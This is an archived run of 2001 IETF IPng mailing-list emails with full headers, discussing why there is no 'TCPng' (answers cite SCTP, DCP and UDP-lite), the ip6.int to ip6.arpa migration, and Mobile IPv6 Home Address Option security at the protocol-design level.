3 Dec 2001 22:27:48 -0800 (PST) Received: from whale.cnnic.net.cn ([159.226.6.187]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA00710 for ; Mon, 3 Dec 2001 23:27:29 -0700 (MST) Received: from cnniczh ([159.226.7.114]) by whale.cnnic.net.cn (Netscape Messaging Server 4.15) with SMTP id GNT3CH00.QQH; Tue, 4 Dec 2001 14:29:06 +0800 Message-ID: <04bf01c17c8c$ef88a520$7207e29f@cnniczh> Reply-To: "zhang hong" From: "zhang hong" To: "Bill Strahm" Cc: References: Subject: Sorry Re: Why not TCPng? Date: Tue, 4 Dec 2001 14:28:49 +0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I'm really sorry for causing these trouble from my foolish question. Please forgive me since I'm a student and a beginner in IPv6 area. : BTW, let's finish this topic, OK? ----- Original Message ----- From: "Bill Strahm" To: "zhang hong" Cc: Sent: Tuesday, December 04, 2001 1:54 PM Subject: RE: Why not TCPng? > I have seen all of the various ranting and raving that your request > causes... I would rather turn your question back on itself... > > You state that "While AFAIK, there are also some shortage in current TCP/UDP > which is the upper layer of IP". Can I ask you what these shortages are, > how they are affecting your applications, and how you would solve the > problems ? > > If you can answer that question you are well on the path of creating a TCPng > WG, until you have those questions answered, you are asking an impossible > question. Nothing is perfect, everything is a tradeoff. > > Bill > > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of zhang hong > Sent: Monday, December 03, 2001 6:14 PM > To: ipng@sunroof.eng.sun.com > Subject: Why not TCPng? > > > Hello! > I'm studying IPv6 and there is a question haunting around me. IPv6 is > created to solve the deficiency of IPv4. While AFAIK, there are also some > shortage in current TCP/UDP which is the upper layer of IP. But I only see > the IPng, why no one touch TCPng or UDPng? There must be some reason for it > which I don't know. Can some one kindly enough to tell me why? > Forgive me my ignorant. : ) > > > Best regards > Zhang Hong > > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Mon Dec 3 22:57:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB46vnHt002154 for ; Mon, 3 Dec 2001 22:57:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB46vmkv002153 for ipng-dist; Mon, 3 Dec 2001 22:57:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB46veHt002138; Mon, 3 Dec 2001 22:57:40 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA09312; Mon, 3 Dec 2001 22:57:29 -0800 (PST) Received: from zeus.anet-chi.com (zeus.anet-chi.com [207.7.4.6]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id WAA18968; Mon, 3 Dec 2001 22:57:28 -0800 (PST) Received: from ipv16 (as1-98.chi.il.dial.anet.com [198.92.156.98]) by zeus.anet-chi.com (8.9.3/spamfix) with SMTP id AAA28254; Tue, 4 Dec 2001 00:55:44 -0600 (CST) Message-ID: <063201c17c92$81108ee0$a300a8c0@ipv16> From: "Jim Fleming" To: Cc: , , , , , , , , , , , , , , , , , , , , , , , References: <200112010045.fB10jiQ03409@zed.isi.edu> <20011128083531.C4C631090@postfix1.uni-muenster.de> Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? Date: Tue, 4 Dec 2001 01:08:23 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk ----- Original Message ----- From: )> To: "Randy Bush" Cc: ; ; Sent: Monday, December 03, 2001 10:06 PM Subject: Re: (ngtrans) Re: reverse delegation under ip6.arpa.? > >>>>> On Mon, 03 Dec 2001 05:31:39 -0800, > >>>>> Randy Bush said: > > >> Anyway, through the responses so far, I feel we must definitely move > >> to ip6.arpa. (regardless of the bitstring vs nibble issue). The > >> migration should cause additional pain to deploy IPv6, but, with the > >> reality, we should start the migration now... > > > agreed. but the pain is minimal. > > Since resolver implementations that do not use ip6.arpa have been > widely deployed, I don't think the pain is minimal. I'm afraid we > should maintain both ip6.arpa. and ip6.int. for same contents forever. > > But..., > > > note that, initially, the content of > > ip6.arpa is directly that of ip6.int. in fact, one could have the same > > zone file pointed to by both names. > > yes, that's the way that I configured ip6.arpa zones in my v6 network. > > > the big pain in the transition is > > that of the registries, whois, etc. and they've been working on this > > for some months. > > I know, I realized some portion of the ip6.arpa (nibble) domain has > already been delegated. > > So, while I still don't think the migration overhead is minimal, it > seems to me that all I have to do now is to implement new resolver > code, deploy it, and start operation with ip6.arpa. If the migration > is inevitable, we cannot delay it. > > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center, Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp > This sounds like one of those technical topics for the ICANN Names Council. Jim Fleming http://www.dot-biz.com/IPv4/Tutorial/ http://www.IPv8.info IPv16....One Better !! -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 00:52:31 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB48qVHt002205 for ; Tue, 4 Dec 2001 00:52:31 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB48qVuF002204 for ipng-dist; Tue, 4 Dec 2001 00:52:31 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB48qRHt002197 for ; Tue, 4 Dec 2001 00:52:28 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA12888 for ; Tue, 4 Dec 2001 00:52:28 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA15944 for ; Tue, 4 Dec 2001 01:52:57 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id JAA08810; Tue, 4 Dec 2001 09:52:25 +0100 Received: from dhcp22-47.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA61390 from ; Tue, 4 Dec 2001 09:52:23 +0100 Message-Id: <3C0C8EC7.79DD8FB9@hursley.ibm.com> Date: Tue, 04 Dec 2001 09:52:23 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Vijay Devarapalli Cc: ipng@sunroof.eng.sun.com Subject: Re: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt References: <001301c17a78$1d697800$8a1b6e0a@arenanet.fi> <3C0BD166.8CED30C7@iprg.nokia.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Vijay, Vijay Devarapalli wrote: ... > I think it is wrong it say the Mobile IP WG is wholeheartedly > discussing this issue. It is more like that this issue has been > forced upon the Mobile IP WG (like certain other security issues > it was never meant to solve). I'm not quite sure what you are getting at here, but it's the responsibility of every WG to solve all the security issues associated with its own work; security is not a kind of icing added afterwards to the cake. And if a security problem is discovered late, it still has to be solved, even if that means starting again. Security isn't optional in the IETF. Regards Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 01:01:34 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB491YHt002280 for ; Tue, 4 Dec 2001 01:01:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB491XO8002279 for ipng-dist; Tue, 4 Dec 2001 01:01:33 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB491SHt002272 for ; Tue, 4 Dec 2001 01:01:28 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA13975 for ; Tue, 4 Dec 2001 01:01:28 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA05343 for ; Tue, 4 Dec 2001 02:01:09 -0700 (MST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id KAA12948; Tue, 4 Dec 2001 10:01:21 +0100 Received: from dhcp22-47.zurich.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA59938 from ; Tue, 4 Dec 2001 10:01:19 +0100 Message-Id: <3C0C90DF.ABBF542A@hursley.ibm.com> Date: Tue, 04 Dec 2001 10:01:20 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.75 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: zhang hong Cc: ipng@sunroof.eng.sun.com Subject: Re: Why not TCPng? References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Zhang Hong, My own answers are a) the IETF has a whole area devoted to transport issues, and it is very active. See http://www.ietf.org/html.charters/wg-dir.html#Transport_Area b) I'm surprised nobody has mentioned SCTP; after all it is a brand-new IETF transport protocol. See RFC 2960. c) There have been many minor upgrades to TCP in the last 5 years, in various RFCs. d) Not sure what problems there are in UDP itself. Brian Bill Strahm wrote: > > I have seen all of the various ranting and raving that your request > causes... I would rather turn your question back on itself... > > You state that "While AFAIK, there are also some shortage in current TCP/UDP > which is the upper layer of IP". Can I ask you what these shortages are, > how they are affecting your applications, and how you would solve the > problems ? > > If you can answer that question you are well on the path of creating a TCPng > WG, until you have those questions answered, you are asking an impossible > question. Nothing is perfect, everything is a tradeoff. > > Bill > > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of zhang hong > Sent: Monday, December 03, 2001 6:14 PM > To: ipng@sunroof.eng.sun.com > Subject: Why not TCPng? > > Hello! > I'm studying IPv6 and there is a question haunting around me. IPv6 is > created to solve the deficiency of IPv4. While AFAIK, there are also some > shortage in current TCP/UDP which is the upper layer of IP. But I only see > the IPng, why no one touch TCPng or UDPng? There must be some reason for it > which I don't know. Can some one kindly enough to tell me why? > Forgive me my ignorant. : ) > > Best regards > Zhang Hong > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - Brian E Carpenter Distinguished Engineer, Internet Standards & Technology, IBM On assignment at the IBM Zurich Laboratory, Switzerland Board Chairman, Internet Society http://www.isoc.org -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 01:06:39 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB496cHt002297 for ; Tue, 4 Dec 2001 01:06:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB496cnp002296 for ipng-dist; Tue, 4 Dec 2001 01:06:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB496THt002289 for ; Tue, 4 Dec 2001 01:06:29 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA15882 for ; Tue, 4 Dec 2001 01:06:30 -0800 (PST) From: john.loughney@nokia.com Received: from mgw-x2.nokia.com (mgw-x2.nokia.com [131.228.20.22]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id CAA07964 for ; Tue, 4 Dec 2001 02:06:11 -0700 (MST) Received: from esvir03nok.nokia.com (esvir03nokt.ntc.nokia.com [172.21.143.35]) by mgw-x2.nokia.com (Switch-2.1.0/Switch-2.1.0) with ESMTP id fB497CA21762 for ; Tue, 4 Dec 2001 11:07:12 +0200 (EET) Received: from esebh24nok.ntc.nokia.com (unverified) by esvir03nok.nokia.com (Content Technologies SMTPRS 4.2.5) with ESMTP id ; Tue, 4 Dec 2001 11:06:27 +0200 Received: by esebh24nok with Internet Mail Service (5.5.2652.78) id ; Tue, 4 Dec 2001 11:06:25 +0200 Message-ID: <0C1353ABB1DEB74DB067ADFF749C4EEF5D925A@esebe004.NOE.Nokia.com> To: brian@hursley.ibm.com, zhangh@cnnic.net.cn Cc: ipng@sunroof.eng.sun.com Subject: RE: Why not TCPng? Date: Tue, 4 Dec 2001 11:06:18 +0200 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2652.78) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Hi all, > d) Not sure what problems there are in UDP itself. While perhaps not a UDPng, there is a new proposal - DCP. There will be a bof in Salt Lake City for it. The agenda, with links to relevant documents, can be found here: http://www.ietf.org/ietf/01dec/dcp.txt best regards, John -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 02:00:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4A0nHt002382 for ; Tue, 4 Dec 2001 02:00:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4A0m0l002381 for ipng-dist; Tue, 4 Dec 2001 02:00:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4A0jHt002374 for ; Tue, 4 Dec 2001 02:00:45 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA29312 for ; Tue, 4 Dec 2001 02:00:46 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA29408 for ; Tue, 4 Dec 2001 03:00:45 -0700 (MST) Received: from esealnt409.al.sw.ericsson.se (ESEALNT409.al.sw.ericsson.se [153.88.251.32]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fB4A0iu02938 for ; Tue, 4 Dec 2001 11:00:44 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt409.al.sw.ericsson.se ; Tue Dec 04 11:00:22 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Dec 2001 10:52:03 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0FF@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Pekka Savola'" , john.loughney@nokia.com Cc: ipng@sunroof.eng.sun.com Subject: RE: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt Date: Tue, 4 Dec 2001 11:00:01 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka, > This is something that I was getting at. If BU processing is not > > implemented, then wouldn't all packets be routed via the HA? > > Not necessarily, AFAICS (if HAO-option is used). Depends > on how strict > your requirement on mobility (in this context, requirement for > non-breaking connections if IP changes; depends a lot on > how architecture > is designed) is. > > Do you see any flaws in my reasoning (this wasn't commented > on) -- I think > this should answer some questions.. => Your understanding is correct, but I disagree with the conclusion (if the above is a conclusion). It's clear to me (and many) that there are security hazards associated with the HAO (thanks to your draft). But rather than redefining mobility, or relaxing the requirements on mobility, I think we should work on something that fixes the problem. So my point is, let's fix the problem instead of redefining the original goal. Breaking connections was always a no no ! Hesham > > --8<-- > Date: Tue, 16 Oct 2001 16:15:19 +0300 (EEST) > From: Pekka Savola > To: > Subject: Re: [mobile-ip] WG Last Call on Threat Model and Security > Requirements for MIP v6 (fwd) > > Am I right by saying: > > - with Home Address, without BU: the route will be suboptimal, but > mobility (connections break if MN changes IP address) will > still work. > - with Home Address, with BU: route will be optimal and > mobility works. > - without Home Address, without BU: the route will be optimal and > mobility will not work > - without Home Address, with BU: route will be optimal but > mobility will > not work. > > That is, > > if HAO > mobility > if BU > route optimization > fi > else > route optimization > fi > > From above, the only reason why HAO should be useful for a > dummy node not > implementing BU is mobility (non-breaking connections). Is > that scenario > relevant enough to justify non-authorized HAO usage? > --8<-- > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords > > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 02:16:38 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4AGcHt002402 for ; Tue, 4 Dec 2001 02:16:38 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4AGcA4002401 for ipng-dist; Tue, 4 Dec 2001 02:16:38 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4AGWHt002394 for ; Tue, 4 Dec 2001 02:16:33 -0800 (PST) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA23394 for ; Tue, 4 Dec 2001 02:16:18 -0800 (PST) Received: from minotaur.nge.isi.edu (minotaur.nge.isi.edu [65.114.169.202]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id DAA20579 for ; Tue, 4 Dec 2001 03:16:48 -0700 (MST) Received: from minotaur (mankin@localhost) by minotaur.nge.isi.edu (8.11.6/8.11.6) with ESMTP id fB4AGB127995; Tue, 4 Dec 2001 05:16:11 -0500 Message-Id: <200112041016.fB4AGB127995@minotaur.nge.isi.edu> To: john.loughney@nokia.com Cc: ipng@sunroof.eng.sun.com, zhangh@cnnic.net.cn, tsvwg@ietf.org Reply-To: mankin@isi.edu Subject: Re: Why not TCPng? In-reply-to: Your message of Tue, 04 Dec 2001 11:06:18 +0200. <0C1353ABB1DEB74DB067ADFF749C4EEF5D925A@esebe004.NOE.Nokia.com> Mime-Version: 1.0 (generated by tm-edit 1.7) Content-Type: text/plain; charset=US-ASCII Date: Tue, 04 Dec 2001 05:16:11 -0500 From: Allison Mankin Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This has been a useful discussion. John Loughney wrote: > > While perhaps not a UDPng, there is a new proposal - > DCP. There will be a bof in Salt Lake City for it. > > The agenda, with links to relevant documents, can > be found here: > > http://www.ietf.org/ietf/01dec/dcp.txt > Good point. Also in the realm of new UDP-like services: UDP-lite. This will be on the TSVWG agenda in Salt Lake again, nearing its IETF Last Call for standardization. The earlier point about SCTP and certain additions to TCP is a good one too - rather than redo TCP, which cannot accomplish all application goals, we've identified needed new services and developed those. Besides purely new capabilities, such as the unordered delivery in both DCP and SCTP, another goal has been to gain better DoS-resistance in transports. TCP has not had this work, while the new protocols have. We are looking for implementation and use experience with SCTP's DoS resistance features (and always for more hands-on feedback about any transport work). Let's move any more followup on this to the TSVWG list, Allison -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 02:24:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4AOLHt002419 for ; Tue, 4 Dec 2001 02:24:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4AOLwY002418 for ipng-dist; Tue, 4 Dec 2001 02:24:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4AOHHt002411 for ; Tue, 4 Dec 2001 02:24:17 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id CAA24259 for ; Tue, 4 Dec 2001 02:24:18 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id DAA20166 for ; Tue, 4 Dec 2001 03:24:17 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fB4AOCb28204; Tue, 4 Dec 2001 12:24:12 +0200 Date: Tue, 4 Dec 2001 12:24:12 +0200 (EET) From: Pekka Savola To: "Hesham Soliman (ERA)" cc: , Subject: RE: FW: I-D ACTION:draft-manyfolks-ipv6-cellular-host-02.txt In-Reply-To: <4DA6EA82906FD511BE2F00508BCF053801C4C0FF@Esealnt861.al.sw.ericsson.se> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 4 Dec 2001, Hesham Soliman (ERA) wrote: > > This is something that I was getting at. If BU processing is not > > > implemented, then wouldn't all packets be routed via the HA? > > > > Not necessarily, AFAICS (if HAO-option is used). Depends > > on how strict > > your requirement on mobility (in this context, requirement for > > non-breaking connections if IP changes; depends a lot on > > how architecture > > is designed) is. > > > > Do you see any flaws in my reasoning (this wasn't commented > > on) -- I think > > this should answer some questions.. > > => Your understanding is correct, but I disagree with the > conclusion (if the above is a conclusion). It's clear > to me (and many) that there are security hazards associated > with the HAO (thanks to your draft). But rather than redefining > mobility, or relaxing the requirements on mobility, I think > we should work on something that fixes the problem. > So my point is, let's fix the problem instead of redefining > the original goal. Breaking connections was always a no no ! You're right, I that wasn't a conclusion. I only tried to enumerate the dependencies and needs for BU and HAO. A conclusion seems to be that without HAO, you cannot get real mobility, and there would be no use for BU. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 4 04:11:05 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4CB5Ht003300 for ; Tue, 4 Dec 2001 04:11:05 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fB4CB54J003299 for ipng-dist; Tue, 4 Dec 2001 04:11:05 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fB4CB1Ht003292 for ; Tue, 4 Dec 2001 04:11:01 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id EAA11776 for ; Tue, 4 Dec 2001 04:11:01 -0800 (PST) Received: from albatross-ext.wise.edt.ericsson.se (albatross-ext.wise.edt.ericsson.se [194.237.142.116]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id EAA00776 for ; Tue, 4 Dec 2001 04:11:00 -0800 (PST) Received: from esealnt462.al.sw.ericsson.se (ESEALNT462.al.sw.ericsson.se [153.88.251.62]) by albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fB4CAuu04221 for ; Tue, 4 Dec 2001 13:10:56 +0100 (MET) Received: FROM esealnt742.al.sw.ericsson.se BY esealnt462.al.sw.ericsson.se ; Tue Dec 04 13:10:40 2001 +0100 Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19) id ; Tue, 4 Dec 2001 13:02:36 +0100 Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C102@Esealnt861.al.sw.ericsson.se> From: "Hesham Soliman (ERA)" To: "'Pekka 